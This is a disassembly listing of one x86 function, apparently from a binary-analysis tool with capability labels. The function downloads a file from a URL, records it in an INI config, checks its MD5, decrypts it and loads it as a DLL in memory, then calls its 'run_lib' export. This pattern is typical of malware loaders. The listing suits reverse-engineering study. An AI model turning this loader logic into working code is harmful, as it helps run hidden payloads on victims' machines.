Function at 0x40f800
Capabilities:
Check if file exists
Hash data with md5
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x521e4b
mov eax, dword fs:[0]
push eax
sub esp, 0x408
mov eax, dword [0x574674]
xor eax, esp
mov dword [esp + 0x400], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x574674]
xor eax, esp
push eax
lea eax, [esp + 0x41c]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x42c]
mov eax, dword [esp + 0x44c]
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x430]
push ecx
lea edx, [esp + 0x30]
xor ebx, ebx
push edx
mov dword [esp + 0x42c], ebx
call fcn.0040a5d0
add esp, 8
mov byte [esp + 0x424], 1
cmp dword [esp + 0x44], 8
mov eax, dword [esp + 0x30]
jae 0x40f886
lea eax, [esp + 0x30]
push eax
push str._____LoadMemDll_RunDll______url_:__s
call fcn.0040e230
mov esi, dword [ebp + 0x5c]
add ebp, 0x58
add esp, 8
cmp esi, dword [ebp + 8]
jbe 0x40f8a4
call fcn.00433dda
mov edi, esi
mov esi, dword [ebp + 8]
cmp dword [ebp + 4], esi
jbe 0x40f8b3
call fcn.00433dda
cmp ebp, ebp
je 0x40f8bc
call fcn.00433dda
cmp edi, esi
je 0x40fbda
cmp edi, dword [ebp + 8]
jb 0x40f8ce
call fcn.00433dda
cmp dword [edi + 0x18], 0x10
jb 0x40f8d9
mov edx, dword [edi + 4]
jmp 0x40f8dc
lea edx, [edi + 4]
mov eax, edx
mov dword [esp + 0xb4], 0xf
mov dword [esp + 0xb0], ebx
mov byte [esp + 0xa0], bl
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x40f900
sub eax, esi
push eax
push edx
lea ecx, [esp + 0xa4]
call fcn.00404d20
cmp dword [esp + 0xb4], 0x10
mov eax, dword [esp + 0xa0]
jae 0x40f931
lea eax, [esp + 0xa0]
mov ecx, dword [esp + 0xb0]
push ecx
push ebx
push eax
lea ecx, [esp + 0x43c]
call fcn.0040b960
cmp eax, 0xffffffff
jne 0x40f978
cmp dword [esp + 0xb4], 0x10
jb 0x40f966
mov edx, dword [esp + 0xa0]
push edx
call fcn.00418473
add esp, 4
cmp edi, dword [ebp + 8]
jb 0x40f970
call fcn.00433dda
add edi, 0x1c
jmp 0x40f8a6
cmp dword [esp + 0xb4], 0x10
jb 0x40f992
mov eax, dword [esp + 0xa0]
push eax
call fcn.00418473
add esp, 4
push 0x206
lea eax, [esp + 0x212]
push ebx
push eax
mov word [esp + 0x218], bx
call fcn.00437ec0
mov esi, dword [esp + 0x3c]
add esp, 0xc
cmp dword [esp + 0x44], 8
jae 0x40f9bf
lea esi, [esp + 0x30]
lea edi, [esp + 0x20c]
call fcn.00409bd0
cmp dword [esp + 0x448], 0x10
mov eax, dword [esp + 0x434]
mov byte [esp + 0x15c], bl
mov dword [esp + 0x108], ebx
mov dword [esp + 0x104], ebx
mov dword [esp + 0xf4], 0x67452301
mov dword [esp + 0xf8], 0xefcdab89
mov dword [esp + 0xfc], 0x98badcfe
mov dword [esp + 0x100], 0x10325476
jae 0x40fa24
lea eax, [esp + 0x434]
push eax
mov eax, dword [esp + 0x448]
lea ecx, [esp + 0xf8]
call fcn.0040d670
lea edi, [esp + 0xd8]
lea eax, [esp + 0xf4]
call fcn.0040dfe0
mov ecx, edi
push ecx
lea edx, [esp + 0x68]
push edx
mov byte [esp + 0x42c], 2
call fcn.0040a5d0
add esp, 8
mov byte [esp + 0x424], 3
cmp dword [esp + 0x7c], 8
mov eax, dword [esp + 0x68]
jae 0x40fa7a
lea eax, [esp + 0x68]
mov ebp, dword [esp + 0x18]
push eax
push ebp
mov ecx, str.DownLoadFile
lea esi, [esp + 0x50]
call fcn.004110e0
mov byte [esp + 0x424], 4
mov eax, dword [esp + 0x4c]
mov edi, 8
cmp dword [esp + 0x60], edi
jae 0x40faa9
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40fb01
push 0xffffffffffffffff
push ebx
lea eax, [ebp + 0x20]
push eax
lea ecx, [esp + 0x54]
call fcn.00401e80
push 7
push str.Config_
lea ecx, [esp + 0x50]
call fcn.00402010
lea eax, [esp + 0x20c]
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x40fae0
sub eax, edx
sar eax, 1
push eax
lea ecx, [esp + 0x210]
push ecx
lea ecx, [esp + 0x50]
call fcn.00402010
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x6c]
mov dword [ecx + 0x18], 7
mov dword [ecx + 0x14], ebx
push edx
mov word [ecx + 4], bx
call fcn.00401e80
lea eax, [esp + 0x9c]
push eax
call fcn.00410de0
mov byte [esp + 0x424], 5
cmp dword [esp + 0x7c], edi
mov eax, dword [esp + 0x68]
jae 0x40fb48
lea eax, [esp + 0x68]
push eax
push ebp
mov ecx, str.FileMD5
lea esi, [esp + 0xc4]
call fcn.004110e0
mov byte [esp + 0x424], 6
cmp dword [esp + 0xd4], edi
mov ecx, dword [esp + 0xc0]
jae 0x40fb7a
lea ecx, [esp + 0xc0]
cmp dword [esp + 0x98], edi
mov eax, dword [esp + 0x84]
jae 0x40fb91
lea eax, [esp + 0x84]
push ecx
push eax
call fcn.004346f8
add esp, 8
test eax, eax
jne 0x40fbc2
mov ecx, dword [esp + 0x94]
push ebx
push 0x566d2c
push ecx
push ebx
lea ecx, [esp + 0x90]
call fcn.00404a10
test eax, eax
jne 0x40fe22
test byte [0x586a7c], 1
jne 0x40fc37
or dword [0x586a7c], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
jmp 0x40fc3c
cmp dword [esp + 0x44], 8
mov eax, dword [esp + 0x30]
jae 0x40fbe9
lea eax, [esp + 0x30]
push eax
push str._____LoadMemDll_RunDll______not_base_web_url_:__s
call fcn.0040e230
add esp, 8
cmp dword [esp + 0x44], 8
jb 0x40fc0b
mov ecx, dword [esp + 0x30]
push ecx
call fcn.00418473
add esp, 4
cmp dword [esp + 0x448], 0x10
mov dword [esp + 0x44], 7
mov dword [esp + 0x40], ebx
mov word [esp + 0x30], bx
jb 0x410681
mov edx, dword [esp + 0x434]
push edx
jmp 0x410679
mov eax, dword [0x586a78]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov ecx, eax
sar eax, 0xf
xor eax, ecx
mov dword [0x586a78], ecx
cdq
mov ecx, 0x895440
idiv ecx
push 0x103
push ebx
mov byte [esp + 0xfc], bl
mov esi, edx
lea edx, [esp + 0xfd]
push edx
add esi, 0xf4240
call fcn.00437ec0
add esp, 0xc
push esi
lea eax, [esp + 0xf8]
push 0x5674f0
push eax
call fcn.004353dd
add esp, 0xc
push 1
push 0x568088
lea ecx, [esp + 0x438]
call fcn.0040b7c0
lea eax, [esp + 0xf4]
lea ecx, [eax + 1]
mov dl, byte [eax]
add eax, 1
cmp dl, bl
jne 0x40fcb4
sub eax, ecx
push eax
lea ecx, [esp + 0xf8]
push ecx
lea ecx, [esp + 0x438]
call fcn.0040b7c0
sub esp, 0x1c
mov ecx, esp
lea eax, [esp + 0x228]
mov dword [ecx + 0x18], 7
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x3c], esp
mov word [ecx + 4], bx
lea esi, [eax + 2]
mov dx, word [eax]
add eax, 2
cmp dx, bx
jne 0x40fcf5
sub eax, esi
sar eax, 1
push eax
lea edx, [esp + 0x22c]
push edx
call fcn.00402110
sub esp, 0x1c
mov eax, esp
lea ecx, [esp + 0x468]
mov dword [esp + 0x5c], esp
push ecx
push eax
mov byte [esp + 0x464], 7
call fcn.0040a5d0
add esp, 8
lea edx, [esp + 0xd4]
push edx
mov byte [esp + 0x460], 6
call fcn.00410730
mov byte [esp + 0x424], 8
cmp dword [esp + 0x60], edi
mov ecx, dword [esp + 0x4c]
jae 0x40fd5f
lea ecx, [esp + 0x4c]
call fcn.0040a120
cmp dword [esp + 0x60], edi
mov edi, dword [esp + 0x4c]
jae 0x40fd72
lea edi, [esp + 0x4c]
mov ecx, dword [esp + 0xa0]
mov esi, 8
cmp dword [esp + 0xb4], esi
jae 0x40fd8e
lea ecx, [esp + 0xa0]
call fcn.00409f50
cmp dword [esp + 0x60], esi
mov edi, dword [esp + 0x4c]
jae 0x40fda1
lea edi, [esp + 0x4c]
cmp dword [esp + 0x7c], esi
mov esi, dword [esp + 0x68]
jae 0x40fdaf
lea esi, [esp + 0x68]
cmp dword [ebp + 0x1c], 8
jb 0x40fdba
mov eax, dword [ebp + 8]
jmp 0x40fdbd
lea eax, [ebp + 8]
push eax
push edi
push esi
push str.DownLoadFile
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
cmp byte [ebp], bl
je 0x40fddb
push edi
push esi
mov ecx, ebp
call fcn.00411400
jmp 0x40fe00
cmp dword [ebp + 0x54], 8
jb 0x40fde6
mov eax, dword [ebp + 0x40]
jmp 0x40fde9
lea eax, [ebp + 0x40]
push esi
push str.DownLoadFile
push eax
mov ebx, edi
call fcn.0040aab0
mov ebp, dword [esp + 0x24]
add esp, 0xc
xor ebx, ebx
mov byte [esp + 0x424], 6
cmp dword [esp + 0xb4], 8
jb 0x40fe22
mov eax, dword [esp + 0xa0]
push eax
call fcn.00418473
add esp, 4
mov eax, dword [esp + 0x4c]
mov esi, 8
cmp dword [esp + 0x60], esi
jae 0x40fe35
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40fe74
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x40], esp
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x454]
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.00404df0
mov ecx, ebp
call fcn.0040f5a0
mov edi, eax
jmp 0x40fff0
cmp dword [esp + 0x60], esi
mov eax, dword [esp + 0x4c]
jae 0x40fe82
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0xf8]
push eax
call fcn.00411500
mov byte [esp + 0x424], 9
mov ecx, dword [esp + 0xf4]
mov eax, dword [ecx + 4]
test byte [esp + eax + 0xfc], 6
jne 0x40fed7
mov ecx, dword [esp + eax + 0x11c]
mov edx, dword [ecx]
mov edx, dword [edx + 0x24]
push 1
push 1
push ebx
lea eax, [esp + 0xa8]
push eax
call edx
mov ecx, dword [esp + 0xa4]
mov eax, dword [esp + 0x9c]
jmp 0x40fee5
mov eax, dword [0x529e4c]
xor ecx, ecx
mov dword [esp + 0xa8], ebx
lea edi, [eax + ecx]
lea esi, [edi + 0xa]
push esi
call fcn.0041846e
add esp, 4
push esi
push ebx
push eax
mov dword [ebp + 0x68], eax
call fcn.00437ec0
mov eax, dword [esp + 0x100]
mov ecx, dword [eax + 4]
add esp, 0xc
test byte [esp + ecx + 0xfc], 6
jne 0x40ff74
push 1
mov edx, ecx
mov ecx, dword [esp + edx + 0x120]
mov eax, dword [ecx]
mov eax, dword [eax + 0x24]
push ebx
push ebx
lea edx, [esp + 0xa8]
push edx
call eax
mov ecx, dword [esp + 0x9c]
mov edx, dword [esp + 0xa4]
add ecx, edx
cmp ecx, dword [0x529e4c]
jne 0x40ff74
mov eax, dword [esp + 0xf4]
mov ecx, dword [eax + 4]
mov eax, dword [esp + ecx + 0xfc]
lea ecx, [esp + ecx + 0xf4]
or eax, 2
cmp dword [ecx + 0x28], ebx
jne 0x40ff6d
or eax, 4
push ebx
push eax
call fcn.00413910
mov eax, dword [ebp + 0x68]
push eax
lea ecx, [esp + 0xf8]
push ecx
mov ecx, edi
call fcn.004122a0
lea esi, [esp + 0xfc]
call fcn.00412490
test eax, eax
jne 0x40ffc1
mov edx, dword [esp + 0xf4]
mov ecx, dword [edx + 4]
mov eax, dword [esp + ecx + 0xfc]
lea ecx, [esp + ecx + 0xf4]
or eax, 2
cmp dword [ecx + 0x28], ebx
jne 0x40ffba
or eax, 4
push ebx
push eax
call fcn.00413910
lea ecx, [esp + 0x14c]
mov byte [esp + 0x424], 6
call fcn.00411610
lea eax, [esp + 0x14c]
push eax
mov dword [esp + method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00452331
add esp, 4
cmp edi, ebx
jne 0x41012d
mov eax, dword [esp + 0x30]
mov edi, 8
cmp dword [esp + 0x44], edi
jae 0x41000b
lea eax, [esp + 0x30]
push eax
push str._____LoadMemDll_RunDll______load_dll_error._url_:__s
call fcn.0040e230
add esp, 8
cmp dword [esp + 0xd4], edi
jb 0x410032
mov ecx, dword [esp + 0xc0]
push ecx
call fcn.00418473
add esp, 4
cmp dword [esp + 0x98], edi
mov esi, 7
mov dword [esp + 0xd4], esi
mov dword [esp + 0xd0], ebx
mov word [esp + 0xc0], bx
jb 0x410066
mov edx, dword [esp + 0x84]
push edx
call fcn.00418473
add esp, 4
cmp dword [esp + 0x60], edi
mov dword [esp + 0x98], esi
mov dword [esp + 0x94], ebx
mov word [esp + 0x84], bx
jb 0x41008f
mov eax, dword [esp + 0x4c]
push eax
call fcn.00418473
add esp, 4
cmp dword [esp + 0x7c], edi
mov dword [esp + 0x60], esi
mov dword [esp + 0x5c], ebx
mov word [esp + 0x4c], bx
jb 0x4100af
mov ecx, dword [esp + 0x68]
push ecx
call fcn.00418473
add esp, 4
mov ebp, 0x10
cmp dword [esp + 0xf0], ebp
mov dword [esp + 0x7c], esi
mov dword [esp + 0x78], ebx
mov word [esp + 0x68], bx
jb 0x4100da
mov edx, dword [esp + 0xdc]
push edx
call fcn.00418473
add esp, 4
cmp dword [esp + 0x44], edi
mov dword [esp + 0xf0], 0xf
mov dword [esp + 0xec], ebx
mov byte [esp + 0xdc], bl
jb 0x410106
mov eax, dword [esp + 0x30]
push eax
call fcn.00418473
add esp, 4
cmp dword [esp + 0x448], ebp
mov dword [esp + 0x44], esi
mov dword [esp + 0x40], ebx
mov word [esp + 0x30], bx
jb 0x410681
mov ecx, dword [esp + 0x434]
push ecx
jmp 0x410679
mov edx, dword [0x5680fc]
mov eax, dword [0x568100]
mov cl, byte [0x568104]
mov dword [esp + 0x200], edx
mov dword [esp + 0x204], eax
lea eax, [esp + 0x200]
lea edx, [esp + 0xf4]
mov byte [esp + 0x208], cl
call fcn.0040e490
xor eax, eax
lea ecx, [esp + 0x170]
nop
mov edx, dword [ecx - 4]
mov dword [esp + eax*4 + 0x174], edx
mov edx, dword [ecx]
mov dword [esp + eax*4 + 0x178], edx
add eax, 2
sub ecx, 8
cmp eax, 0x20
jl 0x410170
mov esi, dword [esp + 0x18]
mov ecx, dword [esi + 0x68]
xor eax, eax
push edi
mov edx, ecx
lea ebx, [esp + 0xf8]
mov dword [esp + 0x1f8], eax
mov dword [esp + 0x1fc], eax
call fcn.0040f220
mov ecx, dword [esi + 0x68]
add esp, 4
lea eax, [esp + 0x28]
push eax
add edi, 0xfffffff4
push edi
add ecx, 0xc
push ecx
call fcn.00501550
xor ebx, ebx
cmp eax, ebx
je 0x41054d
cmp byte [eax], 0x4d
je 0x4101e5
cmp byte [eax + 1], 0x5a
jne 0x41054d
push eax
call fcn.004142d0
add esp, 4
cmp eax, ebx
mov dword [esp + 0x18], eax
je 0x41040e
push str.run_lib
mov ecx, eax
call fcn.00414400
mov edi, eax
add esp, 4
cmp edi, ebx
jne 0x410265
mov ecx, dword [esp + 0x18]
push 0x566bcc
call fcn.00414400
mov ebp, 8
add esp, 4
cmp dword [esp + 0x44], ebp
mov edi, eax
mov eax, dword [esp + 0x30]
jae 0x410235
lea eax, [esp + 0x30]
push eax
push str._____LoadMemDll_RunDll______memory__run_lib__is_NULL_:__s
call fcn.0040e230
add esp, 8
cmp edi, ebx
jne 0x41026a
cmp dword [esp + 0x44], ebp
mov eax, dword [esp + 0x30]
jae 0x410255
lea eax, [esp + 0x30]
push eax
push str._____LoadMemDll_RunDll______memory__Run__is_NULL_:__s
call fcn.0040e230
jmp 0x41042d
mov ebp, 8
push 0x103
lea edx, [esp + 0xf9]
push ebx
push edx
mov byte [esp + 0x100], bl
call fcn.00437ec0
mov eax, dword [esp + 0x28]
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push eax
push ebx
push 1
call esi
mov edx, dword [esp + 0x1c]
push ebx
push ebx
push eax
lea ecx, [esp + 0x100]
push ecx
push 0xffffffffffffffff
push edx
push ebx
push 1
call esi
lea eax, [esp + 0xf4]
push eax
call edi
add esp, 4
cmp dword [esp + 0x44], ebp
mov esi, eax
mov eax, dword [esp + 0x30]
jae 0x4102d1
lea eax, [esp + 0x30]
push eax
push esi
push str._____LoadMemDll_RunDll______memory_run_code_:__d_url_:__s
call fcn.0040e230
add esp, 0xc
cmp esi, ebx
je 0x410430
mov esi, dword [esp + 0x18]
call fcn.004144a0
cmp dword [esp + 0xd4], ebp
jb 0x41030a
mov ecx, dword [esp + 0xc0]
push ecx
call fcn.00418473
add esp, 4
cmp dword [esp + 0x98], ebp
mov esi, 7
mov dword [esp + 0xd4], esi
mov dword [esp + 0xd0], ebx
mov word [esp + 0xc0], bx
jb 0x41033e
mov edx, dword [esp + 0x84]
push edx
call fcn.00418473
add esp, 4
cmp dword [esp + 0x60], ebp
mov dword [esp + 0x98], esi
mov dword [esp + 0x94], ebx
mov word [esp + 0x84], bx
jb 0x410367
mov eax, dword [esp + 0x4c]
push eax
call fcn.00418473
add esp, 4
cmp dword [esp + 0x7c], ebp
mov dword [esp + 0x60], esi
mov dword [esp + 0x5c], ebx
mov word [esp + 0x4c], bx
jb 0x410387
mov ecx, dword [esp + 0x68]
push ecx
call fcn.00418473
add esp, 4
mov edi, 0x10
cmp dword [esp + 0xf0], edi
mov dword [esp + 0x7c], esi
mov dword [esp + 0x78], ebx
mov word [esp + 0x68], bx
jb 0x4103b2
mov edx, dword [esp + 0xdc]
push edx
call fcn.00418473
add esp, 4
cmp dword [esp + 0x44], ebp
mov dword [esp + 0xf0], 0xf
mov dword [esp + 0xec], ebx
mov byte [esp + 0xdc], bl
jb 0x4103de
mov eax, dword [esp + 0x30]
push eax
call fcn.00418473
add esp, 4
cmp dword [esp + 0x448], edi
mov dword [esp + 0x44], esi
mov dword [esp + 0x40], ebx
mov word [esp + 0x30], bx
jb 0x410404
mov ecx, dword [esp + 0x434]
push ecx
call fcn.00418473
add esp, 4
mov eax, 1
jmp 0x410683
cmp dword [esp + 0x44], 8
mov eax, dword [esp + 0x30]
jae 0x41041d
lea eax, [esp + 0x30]
push eax
push str._____LoadMemDll_RunDll______memory_load_library_is_NULL_:__s
call fcn.0040e230
mov ebp, 8
add esp, 8
mov esi, dword [esp + 0x18]
call fcn.004144a0
cmp dword [esp + 0xd4], ebp
jb 0x410452
mov edx, dword [esp + 0xc0]
push edx
call fcn.00418473
add esp, 4
cmp dword [esp + 0x98], ebp
mov esi, 7
mov dword [esp + 0xd4], esi
mov dword [esp + 0xd0], ebx
mov word [esp + 0xc0], bx
jb 0x410486
mov eax, dword [esp + 0x84]
push eax
call fcn.00418473
add esp, 4
cmp dword [esp + 0x60], ebp
mov dword [esp + 0x98], esi
mov dword [esp + 0x94], ebx
mov word [esp + 0x84], bx
jb 0x4104af
mov ecx, dword [esp + 0x4c]
push ecx
call fcn.00418473
add esp, 4
cmp dword [esp + 0x7c], ebp
mov dword [esp + 0x60], esi
mov dword [esp + 0x5c], ebx
mov word [esp + 0x4c], bx
jb 0x4104cf
mov edx, dword [esp + 0x68]
push edx
call fcn.00418473
add esp, 4
mov edi, 0x10
cmp dword [esp + 0xf0], edi
mov dword [esp + 0x7c], esi
mov dword [esp + 0x78], ebx
mov word [esp + 0x68], bx
jb 0x4104fa
mov eax, dword [esp + 0xdc]
push eax
call fcn.00418473
add esp, 4
cmp dword [esp + 0x44], ebp
mov dword [esp + 0xf0], 0xf
mov dword [esp + 0xec], ebx
mov byte [esp + 0xdc], bl
jb 0x410526
mov ecx, dword [esp + 0x30]
push ecx
call fcn.00418473
add esp, 4
cmp dword [esp + 0x448], edi
mov dword [esp + 0x44], esi
mov dword [esp + 0x40], ebx
mov word [esp + 0x30], bx
jb 0x410681
mov edx, dword [esp + 0x434]
push edx
jmp 0x410679
mov eax, dword [esp + 0x30]
mov edi, 8
cmp dword [esp + 0x44], edi
jae 0x410560
lea eax, [esp + 0x30]
push eax
push str._____LoadMemDll_RunDll______dcrypt_error._url_:__s
call fcn.0040e230
add esp, 8
cmp dword [esp + 0xd4], edi
jb 0x410587
mov eax, dword [esp + 0xc0]
push eax
call fcn.00418473
add esp, 4
cmp dword [esp + 0x98], edi
mov esi, 7
mov dword [esp + 0xd4], esi
mov dword [esp + 0xd0], ebx
mov word [esp + 0xc0], bx
jb 0x4105bb
mov ecx, dword [esp + 0x84]
push ecx
call fcn.00418473
add esp, 4
cmp dword [esp + 0x60], edi
mov dword [esp + 0x98], esi
mov dword [esp + 0x94], ebx
mov word [esp + 0x84], bx
jb 0x4105e4
mov edx, dword [esp + 0x4c]
push edx
call fcn.00418473
add esp, 4
cmp dword [esp + 0x7c], edi
mov dword [esp + 0x60], esi
mov dword [esp + 0x5c], ebx
mov word [esp + 0x4c], bx
jb 0x410604
mov eax, dword [esp + 0x68]
push eax
call fcn.00418473
add esp, 4
mov ebp, 0x10
cmp dword [esp + 0xf0], ebp
mov dword [esp + 0x7c], esi
mov dword [esp + 0x78], ebx
mov word [esp + 0x68], bx
jb 0x41062f
mov ecx, dword [esp + 0xdc]
push ecx
call fcn.00418473
add esp, 4
cmp dword [esp + 0x44], edi
mov dword [esp + 0xf0], 0xf
mov dword [esp + 0xec], ebx
mov byte [esp + 0xdc], bl
jb 0x41065b
mov edx, dword [esp + 0x30]
push edx
call fcn.00418473
add esp, 4
cmp dword [esp + 0x448], ebp
mov dword [esp + 0x44], esi
mov dword [esp + 0x40], ebx
mov word [esp + 0x30], bx
jb 0x410681
mov eax, dword [esp + 0x434]
push eax
call fcn.00418473
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x41c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x400]
xor ecx, esp
call fcn.004338df
add esp, 0x414
ret 0x24